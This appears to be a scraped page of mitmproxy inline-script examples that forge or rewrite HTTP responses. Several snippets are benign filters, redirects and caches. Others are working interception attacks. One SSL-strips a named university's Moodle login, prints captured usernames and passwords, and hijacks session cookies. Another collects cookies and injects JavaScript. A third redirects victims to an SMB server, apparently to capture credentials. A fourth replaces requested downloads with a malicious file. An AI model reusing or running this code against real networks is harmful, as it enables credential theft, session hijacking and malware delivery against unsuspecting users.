예제 #1
0
파일: mitm.py 프로젝트: bradparks/mitmdemo
def request(ctx, flow):
    if flow.request.pretty_host(hostheader=True) == "google.com":
        if flow.request.path == "/rick_js":
            print "rick"
            flow.reply(
                HTTPResponse([1, 1], 200, "OK",
                             ODictCaseless(
                                 [["content-type", "text/javascript"]]),
                             rick_js))
        if flow.request.path == "/rick_mp3":
            print "mp3"
            flow.reply(
                HTTPResponse([1, 1], 200, "OK",
                             ODictCaseless([["content-type", "audio/mpeg"]]),
                             rick_mp3))
예제 #2
0
    def perform_http_connection(request, url, port):
        try:
            conn = httplib.HTTPConnection(url, port)
            headers = dict(request.headers.items())

            conn.request(request.method,
                         request.url,
                         body=request.content,
                         headers=headers)
            httplib_response = conn.getresponse()

            headers = ODictCaseless.from_httplib_headers(
                httplib_response.getheaders())
            response = HTTPResponse(code=httplib_response.status,
                                    content=httplib_response.read(),
                                    msg="",
                                    httpversion=(1, 1),
                                    headers=headers)
            return response
        except Exception as ex:
            error("Error Happened")
            error(ex)
            error("method: %s\nurl: %s\nbody: --\nheaders: --" %
                  (request.method, request.url))
            return None
예제 #3
0
    def perform_mapping_request(self, flow, mapping_item):
        response, request = mapping_item.response, mapping_item.request

        log.log_request(request)
        log.log_response(response)

        response = HTTPResponse.from_intercepted_response(response)
        flow.reply(response)
예제 #4
0
    def perform_mapping_request(self, flow, mapping_item):
        response, request = mapping_item.response, mapping_item.request

        log.log_request(request)
        log.log_response(response)

        response = HTTPResponse.from_intercepted_response(response)
        flow.reply(response)
예제 #5
0
 def handle_request(self, flow):
     if flow.request.headers['LOG']:
         resp = HTTPResponse([1, 1], 404, "Not Found",
                             ODictCaseless([["Content-Type", "text/html"]]),
                             "Caught by proxy")
         self.log += flow.request.content + "\r\n"
         flow.reply(resp)
     else:
         flow.reply()
def request(context, flow):
    req = flow.request

    if history.should_skip(req.url):
        context.log("skipping: %s" % req.url)

        resp = HTTPResponse((1, 1), 304, "NOT MODIFIED", ODictCaseless(), None)

        flow.reply(resp)
예제 #7
0
def request(context, flow):
    if flow.request.host.endswith("example.com"):
        resp = HTTPResponse([1, 1], 200, "OK",
                            ODictCaseless([["Content-Type", "text/html"]]),
                            "helloworld")
        flow.request.reply(resp)
    if flow.request.host.endswith("example.org"):
        flow.request.host = "mitmproxy.org"
        flow.request.headers["Host"] = ["mitmproxy.org"]
예제 #8
0
def request(context, flow):
    try:
        if flow.request.pretty_host(hostheader=True).endswith("localhost"):
            if flow.request.path.strip().startswith("/commands/exit"):
                resp = HTTPResponse([1, 1], 200, "OK",
                                    ODictCaseless(
                                        [["Content-Type", "text/html"]]),
                                    "done %s" % context.fullLogPath)
                context.lock.acquire()
                if not context.outFile.closed:
                    context.outFile.write('EndFile\n')
                    context.outFile.close()
                context.lock.release()
                print "close file ", context.fullLogPath
                flow.reply(resp)
            else:
                print flow.request.path.strip()
        #d = flow.request.path.find('?')
        #realPath = flow.request.path
        #if d != -1:
        #    realPath = flow.request.path[:d]
        url = "%s://%s%s" % (flow.request.scheme, flow.request.host,
                             flow.request.path)
        o = urlparse(url)
        url = "%s://%s%s" % (flow.request.scheme, o.netloc, o.path)
        url = url.lower()
        currentTime = int(time.time())
        if url == context.firstURL:
            context.lock.acquire()
            print "find first url ", url
            context.startTime = currentTime
            context.lock.release()

        if context.suspendURL and url == context.suspendURL:
            print "target url wait for %d seconds" % context.threshold
            context.lock.acquire()
            log = "%d TARGETURL:%s START\n" % (currentTime, url)
            if not context.outFile.closed:
                context.outFile.write(log)
            context.lock.release()
            time.sleep(context.threshold)
            currentTime = int(time.time())
            context.lock.acquire()
            log = "%d TARGETURL:%s END\n" % (currentTime, url)
            if not context.outFile.closed:
                context.outFile.write(log)
            context.lock.release()
        else:
            context.lock.acquire()
            log = "%d REGULARURL:%s END\n" % (currentTime, url)
            if not context.outFile.closed:
                context.outFile.write(log)
            context.lock.release()
    except Exception as e:
        print >> sys.stderr, "error %s: [%s]" % (str(e), url)
    def handle_request(self, flow):
        hid = (flow.request.host, flow.request.port)
        if flow.request.host == self.options.target:
            self.collect_cookies(flow.request.headers)
            resp = HTTPResponse(
                [1, 1], 200, "",
                ODictCaseless([["Content-Type",
                                "application/javascript"]]), self.js_code)
            flow.reply(resp)

        flow.reply()
예제 #10
0
def request(context, flow):
    
    # pretty_host(hostheader=True) takes the Host: header of the request into account,
    # which is useful in transparent mode where we usually only have the IP otherwise.

    # Method 1: Answer with a locally generated response
    header = flow.request.pretty_host(hostheader=True)
    if not header in whitelist:
        resp = HTTPResponse(
            [1, 1], 200, "OK",
            ODictCaseless([["Content-Type", "text/html"]]),
            template.replace('$URL', flow.request.url))
        flow.reply(resp)
예제 #11
0
def request(context, flow):
    # pretty_host(hostheader=True) takes the Host: header of the request into account,
    # which is useful in transparent mode where we usually only have the IP
    # otherwise.

    # Method 1: Answer with a locally generated response
    if flow.request.pretty_host(hostheader=True).endswith("openwifi.com"):
        reader = open('data.txt', 'r')
        links = reader.read()
        reader.close()
        resp = HTTPResponse([1, 1], 200, "OK",
                            ODictCaseless([["Content-Type", "text/html"]]),
                            links)
        flow.reply(resp)
예제 #12
0
def request(context, flow):
    replacer = FindRules('default.rulesets')
    if flow.request.scheme == 'http':
        url = replacer.find('http://' +
                            flow.request.pretty_host(hostheader=True) +
                            flow.request.path)
        if url:
            flow.request.url = url
        else:
            flow.reply(
                HTTPResponse(
                    [1, 1], 403, 'FORBIDDEN',
                    ODictCaseless([["Content-Type", "text/html"]]),
                    "The requested page can not be accessed securely"))
def request(context, flow):

    should_redirect = True  # Modify this value to disable redirection for the current request

    if should_redirect is not None and should_redirect:
        resp = HTTPResponse([1, 1], 302, "Found",
                            ODictCaseless([["Content-Type", "text/html"],
                                           [
                                               "Location",
                                               "file://{0}/{1}".format(
                                                   context.smbserver_ip,
                                                   context.identifier)
                                           ]]), "")
        flow.reply(resp)
예제 #14
0
def do_request(context, flow):
    """
        Called when a client request has been received.
    """
#    context.log("[nick] request")
    
    global DeviceState
    resp = None

#    print DeviceState
#    print flow.request.headers
    
    if (flow.request.pretty_host(hostheader=True).endswith("captive.apple.com") or flow.request.path in r'/library/test/success.html') and flow.request.headers['X-Real-IP']:
        for key, value in DeviceState.items():
            if int(time.time()) - value[1] > 300:
                del DeviceState[key]

        RealIP = flow.request.headers['X-Real-IP'][0]
        ServerIP = flow.request.headers['ServerAddress'][0]
#        print ServerIP

        AdLink = "http://%s/withficode/ios/index.htm"%ServerIP

        SuccessResp=HTTPResponse([1, 1], 200, "OK", ODictCaseless([["Content-Type", "text/html"]]), "<HTML><HEAD><TITLE>Success</TITLE></HEAD><BODY>Success</BODY></HTML>")
        PendingResp=HTTPResponse([1, 1], 302, "OK",ODictCaseless([["Content-Type", "text/html"], ["location", AdLink]]),"")

        if RealIP in DeviceState.keys():
            if DeviceState[RealIP][0] == 'accept':
                resp = SuccessResp
            elif DeviceState[RealIP][0] == 'pending':
                resp = PendingResp
                DeviceState[RealIP][0] = 'accept'
            else:
                resp = PendingResp
                DeviceState[RealIP] = ['pending', int(time.time())]
    flow.reply(resp)
예제 #15
0
def request(context, flow):
    if flow.request.path.endswith(context.filename_suffix):
        context.log("Poisoning the requested file")
        context.log(flow.request.path)
        context.log("Closing server connection")
        flow.server_conn.close()

        # TODO: Don't read the whole file in memory-maybe use a web server that already solves this
        with open(context.path_to_bad_file, "rb") as f:
            resp = HTTPResponse([1, 1], 200, "OK",
                                ODictCaseless([[
                                    "Content-Type",
                                    guess_type(context.path_to_bad_file)[0]
                                ]]), f.read())
        flow.reply(resp)
예제 #16
0
def request(context, flow):
    # pretty_host(hostheader=True) takes the Host: header of the request into account,
    # which is useful in transparent mode where we usually only have the IP
    # otherwise.

    # Method 1: Answer with a locally generated response
    if flow.request.pretty_host(hostheader=True).endswith("example.com"):
        resp = HTTPResponse([1, 1], 200, "OK",
                            ODictCaseless([["Content-Type", "text/html"]]),
                            "helloworld")
        flow.reply(resp)

    # Method 2: Redirect the request to a different server
    if flow.request.pretty_host(hostheader=True).endswith("example.org"):
        flow.request.host = "mitmproxy.org"
        flow.request.update_host_header()
예제 #17
0
파일: tamper.py 프로젝트: saalmaan/tamper
    def handle_request(self, msg):
        f = flow.FlowMaster.handle_request(self, msg)

        fullURL = f.request.scheme + '://' + f.request.host
        if ((f.request.scheme == 'http' and f.request.port == 80) == False and
            (f.request.scheme == 'https' and f.request.port == 443) == False):
            fullURL = fullURL + ':' + str(f.request.port)
        fullURL = fullURL + f.request.path

        send_message(json.dumps({'method': 'log', 'message': fullURL}))

        if (f.request.host == 'mitm.it'):
            path = f.request.path

            if path.find('?') > -1:
                path = path[:path.find('?')]

            if path == '/':
                path = '/index.html'

            mimeType = ''
            if path.rfind('.') > -1:
                extension = path[path.rfind('.') + 1:]
                if extension == 'html':
                    mimeType = 'text/html'
                elif extension == 'css':
                    mimeType = 'text/css'
                elif extension == 'cer':
                    mimeType = 'application/pkix-cert'
                elif extension == 'pem':
                    mimeType = 'application/x-pem-file'
                elif extension == 'p12':
                    mimeType = 'application/x-pkcs12'

            responseHeaders = ODictCaseless([('content-type', mimeType)])

            try:
                if path in [
                        '/mitmproxy-ca-cert.cer', '/mitmproxy-ca-cert.pem',
                        '/mitmproxy-ca-cert.p12'
                ]:
                    with open(expanduser('~/.mitmproxy' + path),
                              'rb') as certfile:
                        content = certfile.read()
                elif path in ['/index.html', '/mitmproxy.css']:
                    with open(sys.prefix + '/tamper-files' + path,
                              'rb') as uifile:
                        content = uifile.read()

                responseHeaders['Content-Length'] = [len(content)]

                resp = HTTPResponse([1, 1], 200, 'OK', responseHeaders,
                                    content)
                msg.reply(resp)
            except:
                resp = HTTPResponse([1, 1], 404, 'Not Found',
                                    ODictCaseless([]), '')
                msg.reply(resp)

        for url in urlsToProxy:
            regexURL = '^' + re.escape(url['url']).replace('\\*', '.*?') + '$'
            if (re.match(regexURL, fullURL) and url['isEnabled'] == True):
                send_message(
                    json.dumps({
                        'method':
                        'log',
                        'message':
                        'Serving cached file (' + url['cachedFilename'] + ')'
                    }))
                localFile = open(self._cachedFilesPath + url['cachedFilename'],
                                 'r')
                content = localFile.read()
                localFile.close()

                responseHeaders = []
                hasViaHeader = False
                for header in url['responseHeaders']:
                    if (header['name'].lower() != 'content-encoding'):
                        if (header['name'].lower() == 'via'):
                            hasViaHeader = True
                            if (header['value'].find('tamper') == -1):
                                header['value'] += ', tamper'

                        responseHeaders.append(
                            (header['name'], header['value']))

                if (not hasViaHeader):
                    responseHeaders.append(['via', 'tamper'])

                responseHeaders.append(
                    ['Cache-Control', 'no-cache, no-store, must-revalidate'])
                responseHeaders.append(['Pragma', 'no-cache'])
                responseHeaders.append(['Expires', '0'])

                resp = HTTPResponse([1, 1], 200, 'OK',
                                    ODictCaseless(responseHeaders), content)
                msg.reply(resp)
                break

        if 'Accept-Encoding' in f.request.headers:
            f.request.headers['Accept-Encoding'] = ['none']

        if f:
            msg.reply()

        return f
예제 #18
0
def request(context, flow):
    global moodleS

    request = flow.request
    hostPretty = request.pretty_host(hostheader=True)

    if hostPretty == "www.wit.ie":
        newHeader = {}
        newHeader[x[0]] = [
            x[1] for x in request.headers if x[0] != "Accept-Encoding"
        ]

        c = httplib.HTTPConnection("www.wit.ie")
        c.request(request.method, request.path,
                  urllib.urlencode(request.get_form_urlencoded()), newHeader)

        response = c.getresponse()
        header = response.getheaders()

        # detect browser type and don https as domain on chrome or safary
        domainTrick = True
        domainTrick = (
            False for x in request.headers
            if x[0] == "User-Agent" and ("Chrome" in x[1] or "Safari" in x[1]))

        # fix for lazy students who can't remember lecturers name after a year
        data = response.read().replace("*****@*****.**", "*****@*****.**")

        # replace the url for moodle so it will not be using HTTPS
        if domainTrick:
            data = data.replace("https://moodle.wit.ie",
                                "http://https//moodle.wit.ie/myLoginPage")
        else:
            data = data.replace("https://moodle.wit.ie",
                                "http://moodle.wit.ie/myLoginPage")

        header = [(x[0], x[1]) for x in header]

        resp = HTTPResponse([1, 1], response.status, response.reason,
                            ODictCaseless(header), data)
        flow.reply(resp)

    if hostPretty.endswith("moodle.wit.ie") or hostPretty.endswith("https"):

        # display username and password when it's send to moodle page
        if "application/x-www-form-urlencoded" in request.headers[
                "content-type"]:
            form = request.get_form_urlencoded()
            print "\n*****************************************************"
            print "*** Username: "******"username"], " Password:"******"password"], " ***"
            print "*****************************************************\n"

        # if https is a domain insteand of protocol
        complicated = (True if hostPretty.endswith("https") else False)

        # clean if the domain is in the path (because https is domain)
        path = request.path.replace("//moodle.wit.ie", "")

        # my specific URL will redirect to login
        if (path == "/myLoginPage"): path = "/login/index.php"

        if (path == "/favicon.ico" or path == "/favicon.png"
                or path.endswith("favicon")):
            # if got any type of favicon request give him content from my file

            if path.endswith("favicon"): path = "/favicon.png"

            # load icon content from the file
            with open(path.replace("/", "./"), mode='rb') as file:
                fContent = file.read()

            resp = HTTPResponse([1, 1], 200, "OK",
                                ODictCaseless([[
                                    "Content-Type",
                                    ("image/vnd.microsoft.icon" if path
                                     == "/favicon.ico" else "image/png")
                                ]]), fContent)

            flow.reply(resp)
        else:
            # for all other requests
            myForm = request.get_form_urlencoded()

            newHeader = {}
            for x in request.headers:
                if x[0] != "Accept-Encoding":
                    x[1] = x[1].replace("http://", "https://")
                    x[1] = x[1].replace("http://https//", "https://")

                    # if protocol is instead of domain
                    if x[0] == "Host" and "https" in x[1]:
                        x[1] = "moodle.wit.ie"

                    # if there is no moodle session, force ours
                    if x[0] == "Cookie" and not "MoodleSession" in x[1]:
                        x[1] = "MoodleSession=" + moodleS + ";" + x[1]

                    newHeader[x[0]] = x[1]

            c = httplib.HTTPSConnection("moodle.wit.ie")
            c.request(request.method, path, urllib.urlencode(myForm),
                      newHeader)

            response = c.getresponse()
            header = response.getheaders()
            data = response.read()

            if complicated:
                data = data.replace("https:\/\/moodle.wit.ie",
                                    "http:\/\/https\/\/moodle.wit.ie")
                data = data.replace("https://moodle", "http://https//moodle")
            else:
                data = data.replace("https:\/\/moodle.wit.ie",
                                    "http:\/\/moodle.wit.ie")
                data = data.replace("https://moodle", "http://moodle")

            #remove https from headers and remove secure tag from cookies
            header = [(x[0], x[1].replace("https://",
                                          "http://").replace("; secure", ""))
                      for x in header]

            # detect cookie and put it by side
            for x in header:
                if x[0] == "set-cookie":
                    moodleS = x[1].split("MoodleSession=")[1].split(
                        ";")[0].split(',')[0]

            resp = HTTPResponse([1, 1], response.status, response.reason,
                                ODictCaseless(header), data)
            flow.reply(resp)
예제 #19
0
def request(context, flow):
    global social_networks
    global web_searchs
    global SS
    global SN
    global BL
    global WL
    # pretty_host(hostheader=True) takes the Host: header of the request into account,

    # Kontrola casu
    # Obsah pro dospele

    ################################
    # Content grabbing for testing
    #try:
    #	home = expanduser("~")
    #	site_data = urllib2.urlopen("http://"+flow.request.pretty_host(hostheader=True)).read()
    #	text_file = open(home+"/temp.txt", "w")
    #	text_file.write(site_data)
    #	text_file.close()
    #except:
    #	pass
    ################################

    # Checking WL
    if (WL):
        if (WL[0] != ''):
            if flow.request.pretty_host(hostheader=True).endswith(tuple(WL)):
                return 1

    # Checking if page is on BL
    if flow.request.pretty_host(hostheader=True).endswith(tuple(BL)):
        #print flow.request.pretty_host(hostheader=True)
        resp = HTTPResponse([1, 1], 200, "OK",
                            ODictCaseless([["Content-Type", "text/html"]]),
                            "Reason: This site is on Black list")
        flow.reply(resp)

    # Checking if social networks are banned
    if (SS):
        if flow.request.pretty_host(hostheader=True).endswith(
                tuple(social_networks)):
            #print flow.request.pretty_host(hostheader=True)
            resp = HTTPResponse([1, 1], 200, "OK",
                                ODictCaseless([["Content-Type", "text/html"]]),
                                "Reason: Social network is blocked")
            flow.reply(resp)

    # Checking if web searches are banned
    if (SN):
        if flow.request.pretty_host(hostheader=True).endswith(
                tuple(web_searchs)):
            #print flow.request.pretty_host(hostheader=True)
            resp = HTTPResponse(
                [1, 1], 200, "OK",
                ODictCaseless([["Content-Type", "text/html"]]),
                "Reason: This websearch is blocked, try http://google.com")
            flow.reply(resp)

    # Method 2: Redirect the request to a different server
    if flow.request.pretty_host(hostheader=True).endswith(tuple(web_searchs)):
        flow.request.host = "google.com"
        flow.request.update_host_header()